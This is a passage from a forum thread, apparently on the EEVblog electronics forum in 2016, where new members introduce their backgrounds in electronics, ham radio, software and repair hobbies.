I'm 30 odd and live in Melbourne.Always been into electronics,computers,audio/video/film etc since I was a young lad.Many a Saturday was spent visiting this ex government supply seller(Bernie Mac Service or something like that, used to be on north rd but then moved) buying dirt cheap stuff to fix,break mod etc.The bargains were random and CHEAP. Always had computers, my first being the humble old 64.Despite being into it for many years, still consider myself a novice.Im actually a metal worker by trade, I did spend a few years doing basic electrical work on kitchen appliances many years ago.
These days I mostly play with computers (love my overclocking)  and vintage valve amps, especially the Aussie AWA's being a personal favorite.
Sure I will learn lots and maybe even throw my own 2c around the place as well.

Title: Re: New Member, Please introduce yourself
Post by: sakhmatd on June 12, 2016, 06:11:35 pm
Hi!

I am an EE/CpE student from Russia, currently living and studying in Michigan, US of A.
Did electronics since I was twelve, will continue doing electronics until I am a hundred. If I live that long.  :-\
I generally dabble in embedded and op-amp areas.

Have been watching Dave's videos for, gosh, about four years now, and only now have I decided to make a forum account here. Sometimes I lurk too much.

Anyway, nice to meet you all.
Title: Re: New Member, Please introduce yourself
Post by: fourtytwo on June 15, 2016, 06:41:52 pm
Hi I am Roger, logged in here to post a warning about Owon scopes but looks like an interesting forum!
Been around to long, seen to much etc etc
Title: Re: New Member, Please introduce yourself
Post by: xygax on June 18, 2016, 10:58:17 pm
Hi.
I'm Steve bit long in the tooth can still remember OC71's but now i design in SMT... been working in power electronics for 30+ years.

S
Title: Re: New Member, Please introduce yourself
Post by: Iceberg86300 on June 19, 2016, 08:30:38 am
Hello everyone.

Steve from the US here. Degreed mechanical engineer with an emphasis in mechatronics.

Worked at a very large machine tool manufacturer, so professionally it's mostly been making sure motors, sensors, HMI's, etc, are attached and aligned correctly. Although i did get to play with a galil motion controller, making sure it played nice with stuff we were already making. Fun project.

Hobby side I mess around with microcontrollers, namely the Freescale 9s12, which is what we learned on during labs. I have a few videos of our final project for said class, a robo mouse that induced many sleepless nights in the lab.

I'll upload the vids of the final results of those sleepless nights as soon as I can.

Regards,

Steve
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Title: Re: New Member, Please introduce yourself
Post by: seatrix on June 21, 2016, 01:08:52 am
hi,everyone,I'm form china,I have worked for 5 years in Electronics design.My mainly  work  is MCUS, DSP and Software,
and I hope that we can discuss about technology,and  can ask me if you want to learn about China.
Title: Re: New Member, Please introduce yourself
Post by: nikodean1 on June 22, 2016, 03:07:33 pm
Hi,

I'm Nicholas. I write articles, design electronics, appliances, and transportation tech. I love working with microcontrollers, as well as programming (back and front-end web development). :)
Title: Re: New Member, Please introduce yourself
Post by: bdix on June 23, 2016, 06:07:02 pm
Hi - Jeff from here in the belly of the beast - a wafer fab in San Jose Ca. I dabble in circuits but more involved in specialty devices. Try to repair equipment but it is a bit hit or miss. Lots of vintage equipment around here.
Title: Re: New Member, Please introduce yourself
Post by: LAZARINI on June 25, 2016, 11:24:18 pm
boa noite a todos sou do RIO DE JANEIRO cidade maravilhosa estou estudando automação industrial sou técnico eletronica e telecomunicação estou aqui para contribuir e aprender  ""a vida e uma e eterna escola ""
sr administrador onde eu posso postar as fotos da minha  bancada  de testes kkkkk
a paz do senhor a todos
lazarini
Title: Re: New Member, Please introduce yourself
Post by: zl2wrw on June 26, 2016, 06:21:18 am
Hi, I have been playing with electricity since before starting school, I became a radio nut in high school, then an industrial electrician, and now an EE working in the R&D department of a multi-national company.
I am currently based in Hawkes Bay, New Zealand.
Title: Re: New Member, Please introduce yourself
Post by: netman on June 28, 2016, 09:14:34 pm
Hello from Belgium to all, I'm Mat, or Netman. Electronics is a relatively new hobby to me, but I'm confident enough to say I'm a good programmer :D. I've been spying this forum every once a while a lot, and actually surprised I didn't have an account yet, figured it's time I open my yap.
Title: Re: New Member, Please introduce yourself
Post by: erajomppa on June 29, 2016, 04:47:56 pm
Hello, I am a mechanical engineering student from Finland. I specialize in "intelligent machines" in my studies, and electronics and radio-control stuff are near to my heart.
Tinkerer as a kid, engineer as an "adult" (if such a term can be applied here); I think that is a natural path to take ;)
Title: Re: New Member, Please introduce yourself
Post by: mrf245 on June 30, 2016, 05:54:11 am
Oh, first I came here was for my IFR COM-120 problem, and so lucky, a warmhearted man told me some very important messages. So I fixed my test set.
I'm a professional EE, 30 years old, also as HAM active on HF band in south China.
My design works are like handheld device, industrial device, ham-radio interface,and so on.

Title: Re: New Member, Please introduce yourself
Post by: achiles76 on June 30, 2016, 06:56:39 am
Greetings all!

I am a retired industrial chemist with roots in the brewing industry.

That said, my love of electronics stemmed from my father who was an electrical engineer. Life happened to get in the way as a teenager and I ended up going in the chemistry direction however after developing chronic fatigue syndrome 16 years ago, electronics ended up saving me. When I've been physically able to, I've repaired, refurbished and built many electrical devices over the last 10 years which has been very rewarding.

I'm looking forward to acquainting myself with the EEVBlog!

Best regards! 8)

Title: Re: New Member, Please introduce yourself
Post by: Watth on June 30, 2016, 12:52:51 pm
Hi folks,
I live in the French Alps, near Albretville (where 1992 winter olympics took place).
I'm a hobbyist, (mostly) self learning in electronics.
I have very little knowledge in theoretical electronics and almost none to its applied form from school. In High school I got a bac in technology in electricity. After that I specialized in programming and computer stuff.
While not specialised in electronics, it gives a culture of technological and industrial subjects (for example you get used to referring to datasheets).

I got into electronics through Arduino, and am now building small PCB (breakout boards, for example). I am quite efficient at harvesting magic smoke by burning mosfets, I have a non-negligible experience in this field.

I buy stuff at RS (yay for free shipping on week-ends!) (sometimes Farnell) and Aliexpress.

I have a project of starting a modest almost-FabLab-like makerspace in Albertville.
Title: Re: New Member, Please introduce yourself
Post by: shinjiikari0601 on July 04, 2016, 10:33:54 pm
Hello. New member here, from southwestern PA. Majored in EE in college, more than a few years ago. As is sometimes the case, life took me down a different path and I ended up taking one software development job after another, starting before college and continuing to this day.

Have continued to maintain my interests in electronics, as a hobbyist. Specific areas of interest include: a) microcontroller (AVR and ARM mostly), b) accurate time and frequency (GPSDO's, Rb oscillators, etc), c) medium and large frame ion lasers (have a collection of Lexel and ALC Argon lasers, along with various light show equipment), d) high voltage (VTTC's, etc), and e) engine management systems, mostly for Japanese import cars...

Anyway, have been lurking for a while, so I figured it was time to sign up and participate.

Thanks.



Title: Re: New Member, Please introduce yourself
Post by: Vgkid on July 05, 2016, 02:08:00 am
Welcome to the forum. There are quite a few time/volt - nuts here.
 I need to try to watch NGE(completely) one day.
Title: Re: New Member, Please introduce yourself
Post by: mgotter on July 06, 2016, 12:39:22 am
Hi,

I've been reading threads and watching videos on YouTube for a while, but didn't create an account until recently.  I have a degree in Mechanical Engineering and I'm currently working on an MS in Computer Science.  I'm interested in learning more about circuit design and programming, with a current interest in microcontrollers, specifically Microchip PICs.
Title: Re: New Member, Please introduce yourself
Post by: BSD on July 06, 2016, 07:22:35 pm
Hello everybody, I have only just activated my account some 20 minutes ago. I was prompted to join after looking at a discussion on HP Proliant SMPS's. My interests include electric model aircraft, computing and general electronics.
Title: Re: New Member, Please introduce yourself
Post by: A.Huggy on July 11, 2016, 03:51:32 pm
Hey guys, thank you for having me.  I'm a 20 year old starting my third year of college (or "uni" as the Aussie folks call it), hoping to be an electrical engineer after a couple more years of school. 

I currently have an internship doing some hardware design but mostly automated test setup for a large equipment manufacturer. I won't be too specific but think JCB, CAT, John Deere.  I'm having a blast and learning a ton every day.  I use google a lot and if I don't find the answer on stack exchange, I usually find it here.

A few months ago I was lucky enough to score my first oscilloscope from craigslist.  I snagged a Tektronix 468 in great condition for under $200 with several probes and the original operators manual.  :-+

(http://i.imgur.com/2g4Iue3l.jpg) (http://imgur.com/2g4Iue3.jpg)

For a multimeter I'm using a UEI DM393.  I picked this up a couple years ago after watching Dave's shootout video.  Unfortunately, it's not useful for much right now because I accidentally left the leads plugged into the mA range last night when I went to check a battery  :palm: oh well.  A new fuse is on the way.  Generally, I've been feeling a bit held back by this meter, and having only one meter is a limitation in general. It has a lousy cap range, it's slow, and it bugs the crap out of me that I have to hit select every time I want to measure DC voltage (it defaults to AC).  I'm always monitoring craigslist for deals and last night I snagged a Fluke 87-III, new in the box, for $200.  Haven't had the chance to use it yet, but I'm pretty excited.

Project wise, I'm working on an LED driver right now.  Me and my brother are pretty serious about endurance racing and rally.  We have built two BMW E30's and compete in the Chump Car World Series.  Last year I got my first taste of driving a racecar at night during a 24 hour endurance race.  It was dark and scary.  This fall we're doing a night rally and I would like to design a light for the roof of the car.  I know there's tons of lights available right off the shelf, but then I wouldn't learn much.  After a week or two of math and sketching after work, I settled on a plan and ordered parts from digikey last night.  If it would be received well, I would love to start a thread for the project so you can learn from my mistakes.

Thanks for having me, I look forward to getting to know everyone.
Title: Re: New Member, Please introduce yourself
Post by: Jellytott on July 13, 2016, 10:08:13 am
Greetings!

I am new , but also old! , been lurking a while on a friends account so decided it was time to get my own!
Great stuff in here and very friendly!

British single mum , love tech and shiny things and make art out of old components lol!

Also draw old volkswagens and sell that on things!
Title: Re: New Member, Please introduce yourself
Post by: nfm on July 14, 2016, 12:32:15 pm
Hello all!

Long time lurker. My brother an I do electronics and gear reviews, teardowns, builds and repairs and document this on our yt channel. I have found this forum very helpful in the past, and hope to contribute here more :)
Title: Re: New Member, Please introduce yourself
Post by: jopie on July 14, 2016, 12:50:56 pm
Hi there,

I am from the Netherlands. At work I am mostly involved in high power microwave projects on 915 and 2450 MHz,  used for plasma heating experiments, see http://www.differ.nl (http://www.differ.nl). At home the frequencies are a bit lower, up to 30 MHz. This is where I have the most fun experimenting and homebuilding with antennas, receivers and transmitters. I also have a hamradio license, callsign PG4I.

Regards,
Joop
Title: Re: New Member, Please introduce yourself
Post by: FuzzyOnion on July 14, 2016, 06:57:17 pm
Greetings gentlemen and ladies.
Like most, I've been coming to the site for a while.  Finally decided I may need to ask a question or two.  The width and breadth of knowledge here is impressive.
Currently retired after about 30 years in the electronics industry - the last 20 at a semi manufacturer that specializes in "analog" devices.
I've been a ham since 1977 and a tinkerer since 1967.  I recently started updating my bench and am amazed at what you can get now at "reasonable" hobby prices.

Looking forward to participating where and when I can contribute something useful.
Title: Re: New Member, Please introduce yourself
Post by: HHaase on July 18, 2016, 01:45:37 am
Hey, all, I'm Hans. 

Located in the US,  and been occasionally browsing threads here for quite a while.   Now that I'm potentially in the market for a pick and place in the next year or so I figured I'd start digging a bit deeper. 

Full time I work in a board house that makes PCBA's for the medical industry,  and currently I'm stuffed in a corner keeping the old Fuji CP6's running.   Part time I run my own thing from home making boards for Pinball of all things.   

Anyway,  off to the forums.

-Hans
Title: Re: New Member, Please introduce yourself
Post by: rcorwin3 on July 18, 2016, 01:06:12 pm
Hello All,

First the non-technical stuff.

I am a 59 y.o. ex-plumber and have always had a high degree of interest in electronic components and manufacturing processes. My hobby is scale modeling (scratch building) and got involved into electronics because I wanted to light up a diorama that I am working on. Studying about LED's and resistors got me obsessed with other components and how they work and now I have a little lab going with many a used equipment.

I am unable to go to school to study, not only because of the money issue but the way American colleges are set up, just trying to meet their basic req's are almost impossible and would require a great deal of time. Also the responsibility to the person I care for makes it extremely hard. So I have been studying on my own and with the help of Dave and his blog it has been enlightening.

I still have many questions about what several components and what they do and the math behind them and I very much could use a mentor or two in my education to someday be able to work to some degree in the field of electronics even if that means just soldering components! :-))

My many thanks to you Dave for providing this old dog to be able to learn new tricks and to you others in advance for putting up with me.

My sincerest best,

Rik
Title: Re: New Member, Please introduce yourself
Post by: plee on July 25, 2016, 04:31:45 am
Hi all.  I'm new to this forum but have been watching Dave for a while now and that's why I'm here.
Title: Re: New Member, Please introduce yourself
Post by: Whiche on July 25, 2016, 02:27:49 pm
Hi all, let me introduce myself. My name is Stephen Velazquez. I'm from San Diego. Nice to meet you all!!!
Title: Re: New Member, Please introduce yourself
Post by: Enigma-man on July 25, 2016, 08:19:53 pm
Hi, just joined up today.
Hopefully I can put some of my knowledge and/or experience to use here if required.
Repaired a lot of stuff over time. Now, it's a hobby.

Here's a pic of my old Tektronix 7704A.

Title: Re: New Member, Please introduce yourself
Post by: ddelectrical on July 31, 2016, 05:31:03 pm
Hi, I'm David from Devon in the UK. I run an electronics repair and electrical installation business  in the North Devon area. I spend a disproportionate amount of time diagnosing electrical faults on vehicles! My latest project is an Arduino based Geiger Counter. My latest head banging experience has been caused by my latest transistor order, (6 pairs of complementary power transistors but they are all NPN - lables are wrong on half of them! Classic), and trying to diagnose the demise of my beautiful HP1740A scope which decided to place it's trace about 4 feet above the bench and not on the screen. Great forum. Great host. Best place to be for geeks, proto-geeks, nerds, boffins, and those with a thirst for knowledge.  :bullshit:
Title: Re: New Member, Please introduce yourself
Post by: 2N3055 on July 31, 2016, 06:06:42 pm
Hi everybody!

I missed this one, posted few things already.. Not very good with forums.. :palm:

Almost 50, been playing with wires and electricity since before elementary school..

I own a small electronics design and small scale manufacturing, mostly prototypes and bespoke things... Also doing consulting work on IT security, mostly banks..
Analog, audio, embedded, process measurements and automation, a bit of digital are my thing.. Also, sometimes capable of whipping up a bit of code that actually works.. In dozen of prog languages  ;D ( in 35 years you learn all kinds of stuf  :box:)
Not very good at RF, radio and such... Never liked it... :-//

Regards,

Sinisa
Title: Re: New Member, Please introduce yourself
Post by: whalphen on August 01, 2016, 07:04:36 pm
Hi.  I live in Michigan, USA and I'm recently retired.  I hold an Electrical Engineering degree, but most of my career was in administration and management.  Recently I've begun building up my home electronics workshop.  I also obtained an amateur radio license (K8VFO).  For about 18 months I have been doing volunteer work with middle school and high school students, teaching them electronics and wireless communications.  In conjunction with the local amateur radio club, we also have been conducting high altitude balloon launches with the students.  My recent electronics activities have been focused on PCB design using KiCad, circuit construction using SMDs with a homebrew reflow oven, RF circuit design and construction, PIC microcontroller circuit design and construction, and PIC programming with C.  My amateur radio station is primarily focused on QRP digital communications such as JT65 and WSPR.
Title: Re: New Member, Please introduce yourself
Post by: Rbastler on August 01, 2016, 07:33:11 pm
Hi, atm I live in South Tirol, Italy. But soon I will be studying electrical engineering at the TU Graz.
I soldered together my first circuit ( a blinking device)  when I was about 13.5 years old. Since then I worked with mainly little amplifiers, radios and small short wave transmitters. Then begun working with HV but that soon stopped, because i'ts nothing you can use on a daily base. After that, I got obsessed with vacuum tubes. That lasted for quite a long time. During that period I build various amplifiers and a few radios. I disassembled most of them, because I had no use for all of them and they were poorly build too. The last one was the reason why I disassembled the tube scope I build. It was simply build in a completely wrong way.
During my "tube years" I changed school to a technical high school. It was there were I started enjoying the work with semiconductors. This year I finally finished school.
A lot of what I know today is self taught. I learned the rest at school. Over the years I acquired some decent equipment for my electronics lab, which of course will move with me, when I'm studying at university. I have always something to work on. Either tube base or "sand" based. I used to repair tube radios too, but there wasn't enough space for that, so I had to stop. I can program AVRs in C and write very simple programs in C#.
Right now I'm preparing to build a 400V powersupply for tubes, were the regulator is made of three PL500 and a EF80. The display is a HD4478 powered by a Atmega8. Besides that, from time to time, I'm testing parts of the program and circuitry for a electronic load I want to build.
Title: Re: New Member, Please introduce yourself
Post by: y2khris on August 02, 2016, 05:11:13 pm
Hi,

My name is Cris and I live in Orange County, CA.  I have been doing IT/IS professionally for 15 years now and I love all things open source.  I have an observatory at GMARS with a few friends and I purchased an arduino to create a weather station and have it close or not allow the roof to open depending on different atmospheric conditions.  I started buying different sensors and things I needed for it, I ran into eevblog and other places on youtube and now I have a new hobby!

I have uncles who are electronics engineers but they live in Europe.  Luckily I have all you brilliant people here to learn from!
Title: Re: New Member, Please introduce yourself
Post by: jenniferzhou on August 03, 2016, 07:06:11 am
hello,I am a stident be interested in Electronics
Title: Re: New Member, Please introduce yourself
Post by: Romain on August 04, 2016, 10:50:19 am
Hi all!
I'm a french guy living and working in Wales (UK)! I've been doing EE way before I got my MEng in robotics, embedded systems and energy savings in the WSN context.
I've already asked for help on the EEVblog forum, and I'd be very happy to help in turn.
Keep up the good work engineers!
Title: Re: New Member, Please introduce yourself
Post by: bobaruni on August 05, 2016, 02:29:31 am
Hi, I'm Bob, an electronics designer and software programmer located in Melbourne, Australia and like to tinker in my spare time.
Title: Re: New Member, Please introduce yourself
Post by: setq on August 05, 2016, 10:32:17 pm
Hi. From the UK. I'm a persistent dabbler in electronics for 20 years decided to hit himself with the clue stick a bit and got stuck  :palm:

Title: Re: New Member, Please introduce yourself
Post by: sidlas on August 06, 2016, 03:29:25 am
Hi
total noob in electronics here... :palm:
working with semi trucks ecu`s
little work on cars ecu
reversing only for hobby  :-DD
usa windy city
Title: Re: New Member, Please introduce yourself
Post by: dmckenna23 on August 08, 2016, 01:56:09 am
I am just another Dave who is just another EE (UCONN '93 - Go Huskies!) who currently has a little extra time on his hands. My first blog ever. :blah: I came here just to have look. Hilarious.  :-+
Title: Re: New Member, Please introduce yourself
Post by: jnshadow on August 10, 2016, 06:02:57 pm
I am a former lurker coming into the light!  Typical hobbyist mixing electronics, metalworking, and woodworking via CNC and microcontrollers.  The blog continues to serve as a fine place for "this is what happened to me with X" type of experiences which helps everyone else move ahead on their projects when they hit the same obstacles.  Where do we buy the t-shirts?  ;)
Title: Re: New Member, Please introduce yourself
Post by: Marco Valleggi on August 12, 2016, 10:20:10 pm
Hello everyone, my name is Marco Valleggi, I will never sign up to the forum, I have not the time, however, I am a big fan of electronics and technology.
This is my website for fun www.kittsupercar.com (http://www.kittsupercar.com)
This is my job www.virtualmotion.it (http://www.virtualmotion.it)

thank you :)
Title: Re: New Member, Please introduce yourself
Post by: kaldj on August 13, 2016, 05:28:10 am
Hi Everyone!!

Just stumbled across the EEVBLOG and Forum while researching oscilloscopes.  I've a small business owner involved in the sales and service of industrial batteries, chargers and related equipment for about 30 years now. 

I just decided I "need" an oscilloscope and got a decent deal on a Tek 2445a so I will be knocking around here trying to learn. 

Thanks for everyone's help in advance!!

Don
Title: Re: New Member, Please introduce yourself
Post by: Ren on August 18, 2016, 06:00:47 am
hiya, i am Ren and I picked up a soldering iron just 2 weeks ago after not benign able to find a suitable game controller on the market, so though I would make my own. Teaching my self electronics with the help of the interwebs, with a goal to make AI robots within a year :)

So, still learning the basics of electronics but loving my teensy (have a programming background).
Title: Re: New Member, Please introduce yourself
Post by: Nicolas TIK on August 18, 2016, 01:39:59 pm
Just graduated... It is practically a good thing, but the real world of engineering is so much boring than it actually sound (I am dead serious)... So I decided create my own mini lab and build my own things as a hobby. Hopefully some day I could use it on my future career. #Peace
Title: Re: New Member, Please introduce yourself
Post by: kbarnette on August 20, 2016, 04:45:45 pm
Hi all,

I'm Kevin, an EE student here in New Mexico, US. I'll probably pursue RF engineering but that's not written in stone (still trying to figure out what's in demand at research and high tech institutions that overlaps with my interest).

Glad to be here. I've been lurking for about a year.
Title: Re: New Member, Please introduce yourself
Post by: k_sze on August 21, 2016, 05:47:50 am
Hi.

My name is Kal. I'm a software developer by training; not low level system programming using C or assembly, but high level stuff using Python.

I'm just starting my foray into electronics. I have some very basic knowledge about electricity:

But that's about it. I don't know much about transistors, diodes, etc. I know that a diode has a forward voltage drop, and I *think* that real diodes pretty much don't do anything unless there is enough voltage drop. I don't know the difference between NPN and PNP. I have some faint recollection of using an op-amp at college, with feedback in order to maintain the output voltage level; there's also something about an op-amp trying to have very high resistance on its input and very low resistance on its output. Other than that, I don't know how an op-amp actually works internally. You get the idea of where my level of knowledge is.

Being a complete noob, I also don't have much in terms of equipment and parts. I have an Extech EX330 DMM, and a cheap soldering iron that's frankly too big and unwieldy for electronics. I don't have any oscilloscope, function, or bench power supply yet. In the near future, I'm looking to get these:

By the way, I live in Hong Kong, and that means two problems:

I speak Cantonese, English, French, and Mandarin.

I'm also an amateur naturalist, with a particular interest in Aculeata (bees, wasps, hornets, ants). One of my first goals is to combine the use of DIY electronics in the study of insects, e.g. a bee hive with humidity and temperature monitoring, and infrared camera inside, all solar powered (because laying mains power to a bee hive on a hill side sounds like A Very Bad Idea®. Eventually I would also like to have enough knowledge to teach my two daughters and make things with them.

All that being said, expect a lot of (stupid) questions from me. Please bear with me.  ;D
Title: Re: New Member, Please introduce yourself
Post by: buffoon on August 24, 2016, 11:55:20 pm
Hi all!

New member here. Got into DIY electronics recently because I wanted to build a generator powered bike light. I had absolutely no clue what I got myself into! I have been obsessively reading about electronics since then. Lots of things to learn at the same time. I love how much free resources are online and Dave’s video are fantastic!

My interests are SMPS, battery management, embedded programming. I knew that my dad taught EE at a university when I was little, but I never knew that he specialized in SMPS until my foray into electronics. Funny how life works.
Title: Re: New Member, Please introduce yourself
Post by: sunriscen on August 25, 2016, 12:41:51 am
Hello guys,

im architect, very interested for your chat and work.You'we done some great things.Best luck in next works and mods.
Title: Re: New Member, Please introduce yourself
Post by: JustSquareEnough on August 25, 2016, 04:24:30 pm
Just saying hello!  My first name is David I'm a software architect by day in  United States, Texas, Houston. In high school I took a basic electronic class and for at least the last 10 years I have had Forrest Mim's book on my shelf.  I finally decided to get off my but and get into this hobby before another 10 years goes by!

I'm mostly interested in digital design with a lean to robotics and home automation. My other hobbies include: woodworking, home theater, model rocketry


first project ideas I have:

simple bench power supply - lm317 or lt3080 based.
logic level clock
discrete level builds of the classic TTL logic gates <- thinking this is a good way to learn transistor operations.
micro based clock with NIST updates
micro based weather station

Title: Re: New Member, Please introduce yourself
Post by: Sceptre on August 26, 2016, 02:00:11 am
Hello!  I'm an EE (for 35 years) and electronics hobbyist (for 45+).  Been lurking for about a year, but now need to clear my backlog of repair projects at home.  Besides asking for schematics and tips in the Repair forum, I hope to provide useful advice and information on occasion.  Party on, Garth!

--Sceptre
Title: Re: New Member, Please introduce yourself
Post by: Bendba on August 26, 2016, 03:02:52 am
Hi,

Ben here, 26, from Tamworth, Australia. I grew up in Belgium (Europe), fiddled with electronics for the last 15 years.  DesoLdered my first components with a lighter and a bit of 10 gauge copper wire clamped in a pair grip vice. I almost never bought any new component, until last year, I got into Arduino, Pic and Picaxe (I don't particularly like Arduino and Picaxe, they are too slow and limited for my liking, I prefer programming in assembler.) I made circuits and remade them again and again until they worked (that's what you get with desoLdered components.) I started working on bigger projects lately, had to start buying smc's because I burn too many of them when trying to salvage.
All my test gears so far are a multimeter and ... that's it. I'm getting my first oscilloscope this weekend.
I have a fair bit of questions, especially when it comes to digital electronics and I hope I'll find some answers. And maybe I'll even be able to answer some of other's questions.
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Post by: larrybl on August 27, 2016, 03:14:52 am
Larry from Central Texas. I take care of the City of Waco's Public Safety Radio System. Lots of VM machines, 35 different agencies, and over 1800 Radios. My hobby is restoring vintage Garden Tractors. I do try and update them with LED Lights and update drive and steering systems. I own 5 acres and currently mow 3 acres of it. https://www.youtube.com/watch?v=pwzz4KHiHx4 (https://www.youtube.com/watch?v=pwzz4KHiHx4) 
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Post by: ceehoppy1st on August 27, 2016, 03:22:49 am
Hello everyone,

  I'm an automotive technician for 25+ years- specializing in diagnosing electrical & electronics faults. So I have good electrical background - basic theory, DMM & scope use, etc. While I've always had a desire to "figure out how something works", I never got into component level electronics. Recently I stumbled across the EEVblog, watched most all of Dave's videos and have learned a lot. I hope to keep learning more & more.


  ceehoppy1st
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Post by: chriswebb on August 31, 2016, 06:51:40 am
Hey there,

I'm Chris, I currently reside in Austin, TX, and am a co-founder and CTO of an ed-tech company here. I have been a software engineer for over 12 years, but have many other hobbies related to science and engineering. I have dabbled in microprocessors in the past, and have always been fascinated by product building from a non-software point-of-view. Other than first year physics covering E&M or my single digital logic class in college, I have no other real educational background besides basic understandings of the principles at play and what the terms mean and how to measure them with a multimeter. But I have a strong desire to learn, and already started brushing up my soldering skills with a few kits. I came to the eevblog through other science and engineering youtube channels, and have been watching the back catalog as well as lurking here on the forums for a few weeks now. I am hoping in the short term to learn to wield an oscilloscope to fix an issue with the radio in my car, and then repair an old 1100 watt computer PSU and possibly convert it into a bench supply. From there I hope to learn more tools and uncover more challenges of which i have a few ideas. Mainly I am hoping this provides a fun distraction from my day-to-day stress.

-Chris

Title: Re: New Member, Please introduce yourself
Post by: Nuzzler on August 31, 2016, 02:59:27 pm
Hi all!

I've dabbled in basic electronics on and off -- usually related to another hobby. Speaking of hobbies, in no particular order: cycling (road/mtb/gravel), photography, flashlights, woodworking, radio control (land/air), Linux/MySQL/security, LEGO, Game of Thrones

- Nuzz
Title: New Member, Please introduce yourself
Post by: Kuro on September 01, 2016, 04:08:18 pm
Must I? Well, if you insist. It is kinda intimidating reading the introductions of all the now and future electronics experts here  ;D

Relative old noob here. When I was a kid I did some basic hobby electronics stuff. That was over 40 years ago, so no internet to look up things, books rare. Had to teach myself how to solder (and learn afterwards I did it all wrong - but the AM radio kit I built did work anyway :) )

Unfortunately, that was then and this is now. I have not done much inbetween regarding electronics. Trying to get back into it now, starting with a proper re-introduction to the basics, like how to solder properly (thanks Dave! Always a pleasure to watch your videos) and learning about that new-fangled SMD stuff  ???. Better practice holding my soldering iron still...

I can't spend much time on my hobby, work comes first, but I do look forward to chatting and learning from you all here.
Title: Re: New Member, Please introduce yourself
Post by: NTLabsBT on September 02, 2016, 02:02:13 am
Hi,

I'm Brian.  I'm from NY, USA.  I'm a degreed EE with a good number of years of multi-disciplinary experience.  I run a Failure Analysis / Test laboratory, primarily specializing in mixed-signal analog/digital, power conversion (my preference) and electro-mechanical, although we work on essentially ALL types of problems...

I happen to be a test gear lover, and like to have the right tool for the job, new or old.

I've lurked around this site for a couple of years, and I figured I'd share some repair work I've done on test gear, and contribute to other topics as I see fit... (after all, you guys unknowingly helped me repair an older Fluke bench top DMM, so maybe I can repay the favor some day...)
Title: Re: New Member, Please introduce yourself
Post by: www.lida-app.ir on September 02, 2016, 02:17:56 pm
This is Lida. I do website and mobile app development  :)
Title: Re: New Member, Please introduce yourself
Post by: CoffinDodger on September 02, 2016, 07:00:03 pm
I'm Alan and I'm currently a student of the Instrumentation Tech course under the US Army Prime Power School.  I'm still fairly new to electronics (a neophyte even) who recently put together a little work bench in the barracks to further my education past basic troubleshooting.
Title: Re: New Member, Please introduce yourself
Post by: vulturebetrayer on September 05, 2016, 06:06:26 pm
Hey folks.  I am just a guy who works tech for some folks in L.A. I also program as my main job and repair a lot of simple electronics devices (guitars, some amp stuff, wireless systems etc).

I'm getting more and more into electronics and more advanced repair, and have found Dave's tips to be very helpful for a newb like me.

My main learning focus is on midi devices, tube amplification, sound generation (think moog), and programming (specifically python and C++).

I look forward to contributing to the community until I post something drunkenly that gets me banned.
Title: Re: New Member, Please introduce yourself
Post by: randomtronic on September 08, 2016, 09:26:27 pm
Hi All,

My name is Kris. I was born in Poland, and I live currently in UK.
I studied electronics in Poland, and after finishing the studies I went on to live in various places on the planet. Finally settled in UK :)
I work as an audit manager and self taught db admin (mysql) - data is really fun to work with!

Electronics have always been a passion of mine, along with curiosity of understanding how things work /are made and desire to make things, especially through repurposing other objects in a way, they were never intended to be used.

Sometime ago, after watching ALL Dave's videos (I think, :D)  I decided to begin recording some of my small projects and teardowns, and started uploading those to my channel on YouTube.
Since then I have realised that producing content is much more difficult than I thought (lol) but I am pressing on, hopefully getting better at what I do!

Please feel invited to have a look at my channel at:
youtube.com/c/randomtronic (http://youtube.com/c/randomtronic)

Thanks
Title: Re: New Member, Please introduce yourself
Post by: matthewbadeau on September 10, 2016, 11:05:48 am
My name's Matthew. I'm an American currently living in Japan. I do a little programming and I'm still very much a newbie when it comes to electronics.
Title: Re: New Member, Please introduce yourself
Post by: ghani256 on September 11, 2016, 02:16:35 pm
Hi.

I am a 20 year old from Pakistan. I am currently in 3rd year of my Electrical Engineering degree. My main interests are embedded systems and Microwave engineering. I hope to practice and gain a lot of experience in this field.

That is all.
Title: Re: New Member, Please introduce yourself
Post by: Professzore on September 11, 2016, 04:33:30 pm
Hi there,
I'm Tamás, nicknamed as Professzore (or simply Prof). Have some interest to electricity since my child-years. I've been into ham-radio for a couple of years (as ha5cst), but due to many reasons (law, job etc.) I've quit.
Now one of my basic interest is microcontrollers. 2 years in Arduino, now in mbed. I have many ideas, some of the under development.
I also learning C++ and possibly later some more "visual" language as Java for example.
Nice to be here and learn a lot.
Cheers from Hungary,
Tamás
Title: Re: New Member, Please introduce yourself
Post by: Alaskaal on September 17, 2016, 12:30:47 am
Hi,

My name is Al and I live in Alaska. I have degrees in English, Electronics, and undergraduate and graduate degrees in Toxicology. Electronics was once my vocation long ago, having worked for Commodore and then as an instrument repair tech at a large analytical laboratory, both in Colorado. I now repair electronic gear, mostly antique tube radios, but will work on anything that interests me. I work at a remote Arctic site for two weeks at a time doing "science stuff", and get two weeks off. A two week vacation every two weeks! I am also an amateur radio operator and play classical guitar.
Title: Re: New Member, Please introduce yourself
Post by: TimberwolfGryphon on September 19, 2016, 07:23:03 pm
Here's a slightly different one for a change.

I'm Daniel, currently pursuing a career in biology and thusly,  ornithology. Electronics of all descriptions as well as software tinkering has always been a latent hobby of mine. Having considered an engineering career in the past, I came to the bitter realisation that I am inexorably incompatible with mathematics, the complex stuff pertinent to any basic engineering discipline... :-//

As such I went for what I do best without abandoning what could have been :)

I am a long time watcher of the eevblog but only recently decided towards joining in.
Title: Re: New Member, Please introduce yourself
Post by: Renld on September 24, 2016, 06:17:27 pm
 8) old Marine Vietnam Vet, artist, Sculpter, hobbyist and dabbler in thisnthat. Interested in electronics
Title: Re: New Member, Please introduce yourself
Post by: spronkey on September 25, 2016, 01:01:12 am
Hi all, I'm Keith. Day job is a software engineer, but used to tinker with electronics a lot back in high school, did a couple of comp sci / elec engineering courses at uni, but haven't played with much other than LED strips since.

Trying to find the time to get back into it, slowly realising that without access to a nice lab it's a bit of a pain, so I'm currently scouring ebay, dealextreme and aliexpress for the basic test leads and the like :-).
Title: Re: New Member, Please introduce yourself
Post by: niemimat on September 29, 2016, 01:47:08 pm
Hi,

I am Matti from Helsinki, Finland. I have been working on IT field for a long time and tittle system architect/analyst probably describes current day job best (mostly Unix + DB stuff).

I am not EE so electronics is just a hobby for me but I am really hacker/maker (and science junkie) at heart. I started first "take it apart" projects in electronics when I was just a toddler ... and long before learning how to actually put those parts back together. Since then I have been building and experimenting with all kinds thingamajigs and doohickeys, which usually have something to do with radios, audio or computers.

